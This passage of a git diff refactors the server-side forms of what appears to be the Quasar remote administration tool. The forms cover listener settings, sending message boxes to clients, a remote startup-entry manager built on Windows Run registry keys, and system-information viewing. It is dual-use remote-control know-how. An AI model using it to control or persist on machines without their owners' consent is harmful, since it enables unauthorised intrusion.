- this.Controls.Add(this.txtPassword);
- this.Controls.Add(this.lblPassword);
this.Controls.Add(this.btnCancel);
this.Controls.Add(this.btnListen);
this.Controls.Add(this.chkPopup);
@@ -293,8 +285,6 @@ private void InitializeComponent()
private System.Windows.Forms.CheckBox chkPopup;
private System.Windows.Forms.Button btnListen;
private System.Windows.Forms.Button btnCancel;
- private System.Windows.Forms.Label lblPassword;
- private System.Windows.Forms.TextBox txtPassword;
private System.Windows.Forms.CheckBox chkUseUpnp;
private System.Windows.Forms.CheckBox chkShowTooltip;
private System.Windows.Forms.CheckBox chkNoIPIntegration;
@@ -305,5 +295,6 @@ private void InitializeComponent()
private System.Windows.Forms.TextBox txtNoIPUser;
private System.Windows.Forms.TextBox txtNoIPHost;
private System.Windows.Forms.CheckBox chkShowPassword;
+ private System.Windows.Forms.CheckBox chkIPv6Support;
}
}
\ No newline at end of file
diff --git a/Server/Forms/FrmSettings.cs b/Quasar.Server/Forms/FrmSettings.cs
similarity index 60%
rename from Server/Forms/FrmSettings.cs
rename to Quasar.Server/Forms/FrmSettings.cs
index 3d58780f8..499724836 100644
--- a/Server/Forms/FrmSettings.cs
+++ b/Quasar.Server/Forms/FrmSettings.cs
@@ -1,13 +1,12 @@
-using System;
+using Quasar.Server.Networking;
+using Quasar.Server.Utilities;
+using System;
using System.Globalization;
+using System.Net.Sockets;
using System.Windows.Forms;
-using xServer.Core.Cryptography;
-using xServer.Core.Data;
-using xServer.Core.Networking;
-using xServer.Core.Networking.Utilities;
-using xServer.Core.Utilities;
+using Quasar.Server.Models;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
public partial class FrmSettings : Form
{
@@ -19,12 +18,7 @@ public FrmSettings(QuasarServer listenServer)
InitializeComponent();
- if (listenServer.Listening)
- {
- btnListen.Text = "Stop listening";
- ncPort.Enabled = false;
- txtPassword.Enabled = false;
- }
+ ToggleListenerSettings(!listenServer.Listening);
ShowPassword(false);
}
@@ -32,9 +26,9 @@ public FrmSettings(QuasarServer listenServer)
private void FrmSettings_Load(object sender, EventArgs e)
{
ncPort.Value = Settings.ListenPort;
+ chkIPv6Support.Checked = Settings.IPv6Support;
chkAutoListen.Checked = Settings.AutoListen;
chkPopup.Checked = Settings.ShowPopup;
- txtPassword.Text = Settings.Password;
chkUseUpnp.Checked = Settings.UseUPnP;
chkShowTooltip.Checked = Settings.ShowToolTip;
chkNoIPIntegration.Checked = Settings.EnableNoIPUpdater;
@@ -53,7 +47,6 @@ private ushort GetPortSafe()
private void btnListen_Click(object sender, EventArgs e)
{
ushort port = GetPortSafe();
- string password = txtPassword.Text;
if (port == 0)
{
@@ -62,68 +55,42 @@ private void btnListen_Click(object sender, EventArgs e)
return;
}
- if (password.Length < 3)
- {
- MessageBox.Show("Please enter a secure password with more than 3 characters.",
- "Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning);
- return;
- }
-
if (btnListen.Text == "Start listening" && !_listenServer.Listening)
{
try
{
- AES.SetDefaultKey(password);
-
- if (chkUseUpnp.Checked)
- {
- if (!UPnP.IsDeviceFound)
- {
- MessageBox.Show("No available UPnP device found!", "No UPnP device", MessageBoxButtons.OK,
- MessageBoxIcon.Information);
- }
- else
- {
- int outPort;
- UPnP.CreatePortMap(port, out outPort);
- if (port != outPort)
- {
- MessageBox.Show("Creating a port map with the UPnP device failed!\nPlease check if your device allows to create new port maps.", "Creating port map failed", MessageBoxButtons.OK,
- MessageBoxIcon.Warning);
- }
- }
- }
if(chkNoIPIntegration.Checked)
NoIpUpdater.Start();
- _listenServer.Listen(port);
- }
- finally
- {
- btnListen.Text = "Stop listening";
- ncPort.Enabled = false;
- txtPassword.Enabled = false;
+ _listenServer.Listen(port, chkIPv6Support.Checked, chkUseUpnp.Checked);
+ ToggleListenerSettings(false);
}
- }
- else if (btnListen.Text == "Stop listening" && _listenServer.Listening)
- {
- try
+ catch (SocketException ex)
{
+ if (ex.ErrorCode == 10048)
+ {
+ MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+ else
+ {
+ MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
_listenServer.Disconnect();
- UPnP.DeletePortMap(port);
}
- finally
+ catch (Exception)
{
- btnListen.Text = "Start listening";
- ncPort.Enabled = true;
- txtPassword.Enabled = true;
+ _listenServer.Disconnect();
}
}
+ else if (btnListen.Text == "Stop listening" && _listenServer.Listening)
+ {
+ _listenServer.Disconnect();
+ ToggleListenerSettings(true);
+ }
}
private void btnSave_Click(object sender, EventArgs e)
{
ushort port = GetPortSafe();
- string password = txtPassword.Text;
if (port == 0)
{
@@ -132,19 +99,10 @@ private void btnSave_Click(object sender, EventArgs e)
return;
}
- if (password.Length < 3)
- {
- MessageBox.Show("Please enter a secure password with more than 3 characters.",
- "Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning);
- return;
- }
-
Settings.ListenPort = port;
+ Settings.IPv6Support = chkIPv6Support.Checked;
Settings.AutoListen = chkAutoListen.Checked;
Settings.ShowPopup = chkPopup.Checked;
- if (password != Settings.Password)
- AES.SetDefaultKey(password);
- Settings.Password = password;
Settings.UseUPnP = chkUseUpnp.Checked;
Settings.ShowToolTip = chkShowTooltip.Checked;
Settings.EnableNoIPUpdater = chkNoIPIntegration.Checked;
@@ -166,6 +124,14 @@ private void chkNoIPIntegration_CheckedChanged(object sender, EventArgs e)
NoIPControlHandler(chkNoIPIntegration.Checked);
}
+ private void ToggleListenerSettings(bool enabled)
+ {
+ btnListen.Text = enabled ? "Start listening" : "Stop listening";
+ ncPort.Enabled = enabled;
+ chkIPv6Support.Enabled = enabled;
+ chkUseUpnp.Enabled = enabled;
+ }
+
private void NoIPControlHandler(bool enable)
{
lblHost.Enabled = enable;
@@ -187,4 +153,4 @@ private void chkShowPassword_CheckedChanged(object sender, EventArgs e)
ShowPassword(chkShowPassword.Checked);
}
}
-}
\ No newline at end of file
+}
diff --git a/Server/Forms/FrmShowMessagebox.resx b/Quasar.Server/Forms/FrmSettings.resx
similarity index 100%
rename from Server/Forms/FrmShowMessagebox.resx
rename to Quasar.Server/Forms/FrmSettings.resx
diff --git a/Server/Forms/FrmShowMessagebox.Designer.cs b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs
similarity index 99%
rename from Server/Forms/FrmShowMessagebox.Designer.cs
rename to Quasar.Server/Forms/FrmShowMessagebox.Designer.cs
index 7e75a5111..c24fe64fd 100644
--- a/Server/Forms/FrmShowMessagebox.Designer.cs
+++ b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs
@@ -1,4 +1,4 @@
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmShowMessagebox
{
@@ -154,8 +154,8 @@ private void InitializeComponent()
//
// FrmShowMessagebox
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(349, 199);
this.Controls.Add(this.btnSend);
this.Controls.Add(this.btnPreview);
diff --git a/Server/Forms/FrmShowMessagebox.cs b/Quasar.Server/Forms/FrmShowMessagebox.cs
similarity index 85%
rename from Server/Forms/FrmShowMessagebox.cs
rename to Quasar.Server/Forms/FrmShowMessagebox.cs
index e44135fcf..557ad33ff 100644
--- a/Server/Forms/FrmShowMessagebox.cs
+++ b/Quasar.Server/Forms/FrmShowMessagebox.cs
@@ -1,15 +1,18 @@
using System;
using System.Windows.Forms;
-using xServer.Core.Data;
-using xServer.Core.Helper;
-using xServer.Core.Utilities;
+using Quasar.Server.Helper;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
public partial class FrmShowMessagebox : Form
{
private readonly int _selectedClients;
+ public string MsgBoxCaption { get; set; }
+ public string MsgBoxText { get; set; }
+ public string MsgBoxButton { get; set; }
+ public string MsgBoxIcon { get; set; }
+
public FrmShowMessagebox(int selected)
{
_selectedClients = selected;
@@ -39,10 +42,10 @@ private void btnPreview_Click(object sender, EventArgs e)
private void btnSend_Click(object sender, EventArgs e)
{
- Messagebox.Caption = txtCaption.Text;
- Messagebox.Text = txtText.Text;
- Messagebox.Button = GetMessageBoxButton(cmbMsgButtons.SelectedIndex);
- Messagebox.Icon = GetMessageBoxIcon(cmbMsgButtons.SelectedIndex);
+ MsgBoxCaption = txtCaption.Text;
+ MsgBoxText = txtText.Text;
+ MsgBoxButton = GetMessageBoxButton(cmbMsgButtons.SelectedIndex);
+ MsgBoxIcon = GetMessageBoxIcon(cmbMsgIcon.SelectedIndex);
this.DialogResult = DialogResult.OK;
this.Close();
diff --git a/Server/Forms/FrmTermsOfUse.resx b/Quasar.Server/Forms/FrmShowMessagebox.resx
similarity index 100%
rename from Server/Forms/FrmTermsOfUse.resx
rename to Quasar.Server/Forms/FrmShowMessagebox.resx
diff --git a/Server/Forms/FrmAddToAutostart.Designer.cs b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs
similarity index 98%
rename from Server/Forms/FrmAddToAutostart.Designer.cs
rename to Quasar.Server/Forms/FrmStartupAdd.Designer.cs
index 03f61343c..ab948391f 100644
--- a/Server/Forms/FrmAddToAutostart.Designer.cs
+++ b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs
@@ -1,6 +1,6 @@
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
- partial class FrmAddToAutostart
+ partial class FrmStartupAdd
{
///
/// Required designer variable.
@@ -29,7 +29,7 @@ protected override void Dispose(bool disposing)
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
- System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAddToAutostart));
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupAdd));
this.groupAutostartItem = new System.Windows.Forms.GroupBox();
this.lblType = new System.Windows.Forms.Label();
this.cmbType = new System.Windows.Forms.ComboBox();
@@ -138,8 +138,8 @@ private void InitializeComponent()
// FrmAddToAutostart
//
this.AcceptButton = this.btnAdd;
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.btnCancel;
this.ClientSize = new System.Drawing.Size(677, 158);
this.Controls.Add(this.btnCancel);
diff --git a/Server/Forms/FrmAddToAutostart.cs b/Quasar.Server/Forms/FrmStartupAdd.cs
similarity index 62%
rename from Server/Forms/FrmAddToAutostart.cs
rename to Quasar.Server/Forms/FrmStartupAdd.cs
index d01219c1c..032be4310 100644
--- a/Server/Forms/FrmAddToAutostart.cs
+++ b/Quasar.Server/Forms/FrmStartupAdd.cs
@@ -1,21 +1,23 @@
-using System;
+using Quasar.Common.Enums;
+using Quasar.Common.Helpers;
+using Quasar.Common.Models;
+using System;
using System.IO;
using System.Windows.Forms;
-using xServer.Core.Data;
-using xServer.Core.Helper;
-using xServer.Core.Utilities;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
- public partial class FrmAddToAutostart : Form
+ public partial class FrmStartupAdd : Form
{
- public FrmAddToAutostart()
+ public StartupItem StartupItem { get; set; }
+
+ public FrmStartupAdd()
{
InitializeComponent();
AddTypes();
}
- public FrmAddToAutostart(string startupPath)
+ public FrmStartupAdd(string startupPath)
{
InitializeComponent();
AddTypes();
@@ -24,23 +26,27 @@ public FrmAddToAutostart(string startupPath)
txtPath.Text = startupPath;
}
+ ///
+ /// Adds all supported startup types to ComboBox groups.
+ ///
+ ///
+ /// Must be in same order as .
+ ///
private void AddTypes()
{
+ // must be in same order as StartupType
cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
- cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run");
- cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
cmbType.Items.Add("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup");
cmbType.SelectedIndex = 0;
}
private void btnAdd_Click(object sender, EventArgs e)
{
- AutostartItem.Name = txtName.Text;
- AutostartItem.Path = txtPath.Text;
- AutostartItem.Type = cmbType.SelectedIndex;
+ StartupItem = new StartupItem
+ {Name = txtName.Text, Path = txtPath.Text, Type = (StartupType) cmbType.SelectedIndex};
this.DialogResult = DialogResult.OK;
this.Close();
@@ -54,13 +60,13 @@ private void btnCancel_Click(object sender, EventArgs e)
private void txtName_KeyPress(object sender, KeyPressEventArgs e)
{
- e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
+ e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtPath_KeyPress(object sender, KeyPressEventArgs e)
{
- e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
+ e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
}
diff --git a/Server/Forms/FrmAddToAutostart.resx b/Quasar.Server/Forms/FrmStartupAdd.resx
similarity index 100%
rename from Server/Forms/FrmAddToAutostart.resx
rename to Quasar.Server/Forms/FrmStartupAdd.resx
diff --git a/Server/Forms/FrmStartupManager.Designer.cs b/Quasar.Server/Forms/FrmStartupManager.Designer.cs
similarity index 94%
rename from Server/Forms/FrmStartupManager.Designer.cs
rename to Quasar.Server/Forms/FrmStartupManager.Designer.cs
index fea602612..ec9f04674 100644
--- a/Server/Forms/FrmStartupManager.Designer.cs
+++ b/Quasar.Server/Forms/FrmStartupManager.Designer.cs
@@ -1,4 +1,6 @@
-namespace xServer.Forms
+using Quasar.Server.Controls;
+
+namespace Quasar.Server.Forms
{
partial class FrmStartupManager
{
@@ -33,7 +35,7 @@ private void InitializeComponent()
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
this.addEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.removeEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.lstStartupItems = new xServer.Controls.AeroListView();
+ this.lstStartupItems = new AeroListView();
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hPath = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip.SuspendLayout();
@@ -49,7 +51,7 @@ private void InitializeComponent()
//
// addEntryToolStripMenuItem
//
- this.addEntryToolStripMenuItem.Image = global::xServer.Properties.Resources.application_add;
+ this.addEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add;
this.addEntryToolStripMenuItem.Name = "addEntryToolStripMenuItem";
this.addEntryToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.addEntryToolStripMenuItem.Text = "Add Entry";
@@ -57,7 +59,7 @@ private void InitializeComponent()
//
// removeEntryToolStripMenuItem
//
- this.removeEntryToolStripMenuItem.Image = global::xServer.Properties.Resources.application_delete;
+ this.removeEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_delete;
this.removeEntryToolStripMenuItem.Name = "removeEntryToolStripMenuItem";
this.removeEntryToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.removeEntryToolStripMenuItem.Text = "Remove Entry";
@@ -93,8 +95,8 @@ private void InitializeComponent()
//
// FrmStartupManager
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(677, 373);
this.Controls.Add(this.lstStartupItems);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
diff --git a/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar.Server/Forms/FrmStartupManager.cs
new file mode 100644
index 000000000..905daf7f2
--- /dev/null
+++ b/Quasar.Server/Forms/FrmStartupManager.cs
@@ -0,0 +1,181 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Windows.Forms;
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Networking;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmStartupManager : Form
+ {
+ ///
+ /// The client which can be used for the startup manager.
+ ///
+ private readonly Client _connectClient;
+
+ ///
+ /// The message handler for handling the communication with the client.
+ ///
+ private readonly StartupManagerHandler _startupManagerHandler;
+
+ ///
+ /// Holds the opened startup manager form for each client.
+ ///
+ private static readonly Dictionary OpenedForms = new Dictionary();
+
+ ///
+ /// Creates a new startup manager form for the client or gets the current open form, if there exists one already.
+ ///
+ /// The client used for the startup manager form.
+ ///
+ /// Returns a new startup manager form for the client if there is none currently open, otherwise creates a new one.
+ ///
+ public static FrmStartupManager CreateNewOrGetExisting(Client client)
+ {
+ if (OpenedForms.ContainsKey(client))
+ {
+ return OpenedForms[client];
+ }
+ FrmStartupManager f = new FrmStartupManager(client);
+ f.Disposed += (sender, args) => OpenedForms.Remove(client);
+ OpenedForms.Add(client, f);
+ return f;
+ }
+
+ ///
+ /// Initializes a new instance of the class using the given client.
+ ///
+ /// The client used for the remote desktop form.
+ public FrmStartupManager(Client client)
+ {
+ _connectClient = client;
+ _startupManagerHandler = new StartupManagerHandler(client);
+
+ RegisterMessageHandler();
+ InitializeComponent();
+ }
+
+ ///
+ /// Registers the startup manager message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ _connectClient.ClientState += ClientDisconnected;
+ _startupManagerHandler.ProgressChanged += StartupItemsChanged;
+ MessageHandler.Register(_startupManagerHandler);
+ }
+
+ ///
+ /// Unregisters the startup manager message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_startupManagerHandler);
+ _startupManagerHandler.ProgressChanged -= StartupItemsChanged;
+ _connectClient.ClientState -= ClientDisconnected;
+ }
+
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
+ {
+ this.Invoke((MethodInvoker)this.Close);
+ }
+ }
+
+ private void FrmStartupManager_Load(object sender, EventArgs e)
+ {
+ this.Text = WindowHelper.GetWindowTitle("Startup Manager", _connectClient);
+
+ AddGroups();
+ _startupManagerHandler.RefreshStartupItems();
+ }
+
+ private void FrmStartupManager_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ UnregisterMessageHandler();
+ }
+
+ ///
+ /// Adds all supported startup types as ListView groups.
+ ///
+ private void AddGroups()
+ {
+ lstStartupItems.Groups.Add(
+ new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")
+ {Tag = StartupType.LocalMachineRun});
+ lstStartupItems.Groups.Add(
+ new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")
+ {Tag = StartupType.LocalMachineRunOnce});
+ lstStartupItems.Groups.Add(
+ new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")
+ {Tag = StartupType.CurrentUserRun});
+ lstStartupItems.Groups.Add(
+ new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")
+ {Tag = StartupType.CurrentUserRunOnce});
+ lstStartupItems.Groups.Add(
+ new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")
+ { Tag = StartupType.LocalMachineRunX86 });
+ lstStartupItems.Groups.Add(
+ new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")
+ { Tag = StartupType.LocalMachineRunOnceX86 });
+ lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")
+ {Tag = StartupType.StartMenu});
+ }
+
+ ///
+ /// Called whenever a startup item changed.
+ ///
+ /// The message handler which raised the event.
+ /// The current startup items of the client.
+ private void StartupItemsChanged(object sender, List startupItems)
+ {
+ lstStartupItems.Items.Clear();
+
+ foreach (var item in startupItems)
+ {
+ var i = lstStartupItems.Groups.Cast().First(x => (StartupType)x.Tag == item.Type);
+ ListViewItem lvi = new ListViewItem(new[] {item.Name, item.Path}) {Group = i, Tag = item};
+ lstStartupItems.Items.Add(lvi);
+ }
+ }
+
+ private void addEntryToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ using (var frm = new FrmStartupAdd())
+ {
+ if (frm.ShowDialog() == DialogResult.OK)
+ {
+ _startupManagerHandler.AddStartupItem(frm.StartupItem);
+ _startupManagerHandler.RefreshStartupItems();
+ }
+ }
+ }
+
+ private void removeEntryToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ bool modified = false;
+
+ foreach (ListViewItem item in lstStartupItems.SelectedItems)
+ {
+ _startupManagerHandler.RemoveStartupItem((StartupItem)item.Tag);
+ modified = true;
+ }
+
+ if (modified)
+ {
+ _startupManagerHandler.RefreshStartupItems();
+ }
+ }
+ }
+}
diff --git a/Server/Forms/FrmSystemInformation.resx b/Quasar.Server/Forms/FrmStartupManager.resx
similarity index 100%
rename from Server/Forms/FrmSystemInformation.resx
rename to Quasar.Server/Forms/FrmStartupManager.resx
diff --git a/Server/Forms/FrmSystemInformation.Designer.cs b/Quasar.Server/Forms/FrmSystemInformation.Designer.cs
similarity index 96%
rename from Server/Forms/FrmSystemInformation.Designer.cs
rename to Quasar.Server/Forms/FrmSystemInformation.Designer.cs
index 38b8f2177..5683f0ef8 100644
--- a/Server/Forms/FrmSystemInformation.Designer.cs
+++ b/Quasar.Server/Forms/FrmSystemInformation.Designer.cs
@@ -1,6 +1,6 @@
-using xServer.Controls;
+using Quasar.Server.Controls;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmSystemInformation
{
@@ -32,7 +32,7 @@ private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSystemInformation));
- this.lstSystem = new xServer.Controls.AeroListView();
+ this.lstSystem = new AeroListView();
this.hComponent = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
@@ -86,7 +86,7 @@ private void InitializeComponent()
this.copyToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.copyAllToolStripMenuItem,
this.copySelectedToolStripMenuItem});
- this.copyToClipboardToolStripMenuItem.Image = global::xServer.Properties.Resources.copy;
+ this.copyToClipboardToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy;
this.copyToClipboardToolStripMenuItem.Name = "copyToClipboardToolStripMenuItem";
this.copyToClipboardToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
this.copyToClipboardToolStripMenuItem.Text = "Copy to Clipboard";
@@ -112,7 +112,7 @@ private void InitializeComponent()
//
// refreshToolStripMenuItem
//
- this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh;
+ this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh;
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
this.refreshToolStripMenuItem.Text = "Refresh";
@@ -120,8 +120,8 @@ private void InitializeComponent()
//
// FrmSystemInformation
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(560, 335);
this.Controls.Add(this.lstSystem);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
diff --git a/Quasar.Server/Forms/FrmSystemInformation.cs b/Quasar.Server/Forms/FrmSystemInformation.cs
new file mode 100644
index 000000000..91ead4d03
--- /dev/null
+++ b/Quasar.Server/Forms/FrmSystemInformation.cs
@@ -0,0 +1,179 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Windows.Forms;
+using Quasar.Common.Messages;
+using Quasar.Server.Extensions;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Networking;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmSystemInformation : Form
+ {
+ ///
+ /// The client which can be used for the system information.
+ ///
+ private readonly Client _connectClient;
+
+ ///
+ /// The message handler for handling the communication with the client.
+ ///
+ private readonly SystemInformationHandler _sysInfoHandler;
+
+ ///
+ /// Holds the opened system information form for each client.
+ ///
+ private static readonly Dictionary OpenedForms = new Dictionary();
+
+ ///
+ /// Creates a new system information form for the client or gets the current open form, if there exists one already.
+ ///
+ /// The client used for the system information form.
+ ///
+ /// Returns a new system information form for the client if there is none currently open, otherwise creates a new one.
+ ///
+ public static FrmSystemInformation CreateNewOrGetExisting(Client client)
+ {
+ if (OpenedForms.ContainsKey(client))
+ {
+ return OpenedForms[client];
+ }
+ FrmSystemInformation f = new FrmSystemInformation(client);
+ f.Disposed += (sender, args) => OpenedForms.Remove(client);
+ OpenedForms.Add(client, f);
+ return f;
+ }
+
+ ///
+ /// Initializes a new instance of the class using the given client.
+ ///
+ /// The client used for the remote desktop form.
+ public FrmSystemInformation(Client client)
+ {
+ _connectClient = client;
+ _sysInfoHandler = new SystemInformationHandler(client);
+
+ RegisterMessageHandler();
+ InitializeComponent();
+ }
+
+ ///
+ /// Registers the system information message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ _connectClient.ClientState += ClientDisconnected;
+ _sysInfoHandler.ProgressChanged += SystemInformationChanged;
+ MessageHandler.Register(_sysInfoHandler);
+ }
+
+ ///
+ /// Unregisters the system information message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_sysInfoHandler);
+ _sysInfoHandler.ProgressChanged -= SystemInformationChanged;
+ _connectClient.ClientState -= ClientDisconnected;
+ }
+
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
+ {
+ this.Invoke((MethodInvoker)this.Close);
+ }
+ }
+
+ private void FrmSystemInformation_Load(object sender, EventArgs e)
+ {
+ this.Text = WindowHelper.GetWindowTitle("System Information", _connectClient);
+ _sysInfoHandler.RefreshSystemInformation();
+ AddBasicSystemInformation();
+ }
+
+ private void FrmSystemInformation_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ UnregisterMessageHandler();
+ }
+
+ private void SystemInformationChanged(object sender, List> infos)
+ {
+ // remove "Loading..." information
+ lstSystem.Items.RemoveAt(2);
+
+ foreach (var info in infos)
+ {
+ var lvi = new ListViewItem(new[] {info.Item1, info.Item2});
+ lstSystem.Items.Add(lvi);
+ }
+
+ lstSystem.AutosizeColumns();
+ }
+
+ private void copyAllToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (lstSystem.Items.Count == 0) return;
+
+ string output = string.Empty;
+
+ foreach (ListViewItem lvi in lstSystem.Items)
+ {
+ output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : "));
+ output = output.Remove(output.Length - 3);
+ output = output + "\r\n";
+ }
+
+ ClipboardHelper.SetClipboardTextSafe(output);
+ }
+
+ private void copySelectedToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (lstSystem.SelectedItems.Count == 0) return;
+
+ string output = string.Empty;
+
+ foreach (ListViewItem lvi in lstSystem.SelectedItems)
+ {
+ output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : "));
+ output = output.Remove(output.Length - 3);
+ output = output + "\r\n";
+ }
+
+ ClipboardHelper.SetClipboardTextSafe(output);
+ }
+
+ private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ lstSystem.Items.Clear();
+ _sysInfoHandler.RefreshSystemInformation();
